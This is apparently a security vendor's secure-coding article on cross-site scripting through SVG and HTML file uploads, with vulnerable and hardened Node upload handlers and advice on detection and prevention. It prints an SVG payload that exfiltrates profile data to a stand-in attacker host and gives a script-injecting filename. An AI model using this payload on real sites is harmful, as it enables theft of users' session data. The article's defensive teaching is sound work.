Cross-site scripting through file upload
CWE-79CWE-434OWASP A03:2021Updated September 4, 20265 min read
File types such as SVG and HTML can contain script code. If such a file is rendered in the browser from your own domain, that code runs within your origin, with access to cookies and the visitor's session. The filename itself can also be an injection point when it is displayed somewhere.
An upload function is usually judged on whether something executable can end up on the server. There is a second route that gets less attention and is more often open in practice: a file that is entirely harmless on the server, but that does something in the visitor’s browser. It turns on how the file is served, not on how it is stored.
Where does the problem sit?
In this variant it is not about code running on your server, but about code running in the browser of whoever opens the file. Cross-site scripting through file upload arises when a file type capable of containing script code is rendered in the browser from your own domain.
The best-known example is SVG. It is treated as an image, it appears in the list of permitted image formats and carries an image/ type, but it is in reality an XML document the browser renders and which may contain script elements. The same holds for HTML, and to a lesser extent for other formats the browser treats as documents.
The decisive word is origin. If that code runs on yourdomain.com, it has access to everything your pages have: cookies without HttpOnly, the contents of the DOM, and the ability to make requests with the visitor’s session. That same file on another domain is harmless.
How does such an attack unfold?
Vulnerable:
// Only images permitted; SVG is on that list
const ALLOWED = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml'];
app.post('/profile/photo', upload.single('file'), async (req, res) => {
if (!ALLOWED.includes(req.file.mimetype)) {
return res.status(400).send('Images only');
}
await fs.promises.rename(req.file.path, `./public/avatars/${req.file.originalname}`);
res.send('Saved');
});
The check looks reasonable: images only. But the attacker uploads this:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="120">
<circle cx="60" cy="60" r="55" fill="#4c1d95"/>
<script>
fetch('/api/profile')
.then(r => r.json())
.then(d => navigator.sendBeacon('https://malicious.example/in', JSON.stringify(d)));
</script>
</svg>
As a profile photo inside an <img> tag nothing happens; browsers do not run scripts in that context. But if the file is opened directly, through a “view image” link, a new tab or a shared URL, the browser renders it as a document and the script runs. It fetches the victim’s profile data with their own session and forwards it. All within your origin, with your domain name in the address bar.
Safe:
const ALLOWED = new Map([
['image/jpeg', 'jpg'],
['image/png', 'png'],
['image/webp', 'webp'],
]); // no SVG
app.post('/profile/photo', upload.single('file'), async (req, res) => {
const type = await detectTypeFromContent(req.file.path);
const extension = ALLOWED.get(type?.mime);
if (!extension) {
await fs.promises.unlink(req.file.path);
return res.status(400).send('File type not permitted');
}
// Re-encode: whatever was in it, the result is a clean image
const name = `${randomUUID()}.${extension}`;
await sharp(req.file.path).resize(512, 512, { fit: 'inside' }).toFile(`/var/storage/${name}`);
await fs.promises.unlink(req.file.path);
res.json({ id: name });
});
// Serve from a separate domain, without a rendering context
app.get('/file/:id', async (req, res) => {
const file = await files.find(req.params.id);
if (!file || !mayView(req.user, file)) return res.sendStatus(404);
res.set('Content-Type', file.type);
res.set('X-Content-Type-Options', 'nosniff');
res.set('Content-Disposition', 'attachment');
res.set('Content-Security-Policy', "default-src 'none'; sandbox");
res.sendFile(`/var/storage/${file.name}`);
});
Four independent layers here. SVG is not on the list. Images are re-encoded, which removes embedded content. The filename is replaced, so it cannot be an injection point itself. And on serving, Content-Disposition: attachment and a restrictive Content-Security-Policy stop the browser rendering the file as a document.
The strongest measure remains serving from a separate domain. Any code then falls outside your application’s origin and the attack becomes structurally impossible rather than merely covered.
"><script>alert(1)</script>.png is an ordinary injection as soon as you display it in an overview without escaping. Replace the name on storage and escape the original name everywhere you show it.What is the impact of XSS through file upload?
The severity is medium to high and matches that of ordinary stored cross-site scripting, with one difference: the code sits in a file that can be shared deliberately. The attacker does not have to wait for a victim to visit a page; they send the link.
What the code can do is determined by your origin. Cookies without HttpOnly are readable, requests can be made with the victim’s session, and page contents can be fetched and forwarded. In an application where an administrator reviews the uploaded files, that is a direct route to an administrator account, and that review is a process you set up yourself.
Credibility comes on top of that. The link points to your domain, with your certificate and your name. For phishing that is considerably more effective than an unfamiliar URL, and it makes your platform usable for attacks on third parties.
How do you detect XSS through file upload?
A tester first tries which file types are accepted, with particular attention to SVG, HTML and other formats the browser treats as documents. Then they look at how those files are served back.
The decisive questions are: is the file directly retrievable at its own URL, and on which domain? Is it served with a Content-Disposition offering it as a download, or is it rendered in the page? Is a nosniff header present? Is the content type derived from the content or from the filename? They also test whether a file with a misleading extension is still treated as a document, and whether the filename is displayed anywhere unescaped. AssistSec assesses the serving route explicitly rather than only the upload check, because that is where the vulnerability arises and where it is solved.
How do you prevent XSS through file upload?
- Do not permit SVG and HTML as upload formats unless you genuinely need them.
- Re-encode uploaded images, so embedded content disappears.
- Sanitise SVG files you do accept with a library that strips scripts and external references.
- Serve user-supplied files from a separate domain.
- Send
Content-Disposition: attachmentandX-Content-Type-Options: nosniffwhen serving. - Give files a restrictive
Content-Security-Policy, for instance withsandbox. - Determine the content type from the file’s contents, not from the name supplied.
- Replace the filename on storage and escape the original name when displaying it.
- Authorise on serving, so a file cannot simply be shared with third parties.
Sources
Frequently asked questions
Why is SVG so problematic?
Because it is not an image format in the usual sense but an XML document the browser renders. It may contain script elements and event attributes, and those run when the file is opened directly. To the user it is a picture; to the browser it is a document.
Is refusing SVG enough?
That is the simplest solution if you do not need the format, and often the right call. If you do need it, process it with a library that strips scripts and external references, and still serve it from a separate domain.
Is a separate domain really necessary?
It is the only measure that makes the attack structurally impossible rather than merely unlikely. If injected code runs on another domain, it falls outside your application's origin and has no access to cookies or the DOM. The other measures are layers; this one is a separation.
Can the filename itself be dangerous?
Yes. A name containing HTML characters that you display in an overview is an ordinary injection into your own page. Replace the name on storage with a value you generate, and escape the original name everywhere you display it.
Related articles
- VulnerabilitiesCWE-693A05:2021Missing Content Security PolicyWithout a Content Security Policy the browser may load scripts from any source. Learn what a CSP does, how to build one, and which mistakes make it useless.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-434A04:2021Unrestricted file uploadAn upload function without restrictions can lead to code execution on your server. Learn which checks are needed and which are not enough.
- VulnerabilitiesCWE-434A04:2021Uploading malicious files is possibleAn upload function without content checking turns your platform into a malware carrier, with your domain name providing the credibility.
- VulnerabilitiesCWE-430A05:2021MIME sniffing not disabledWithout X-Content-Type-Options the browser may guess what a file is. Learn how an uploaded image can end up running as script.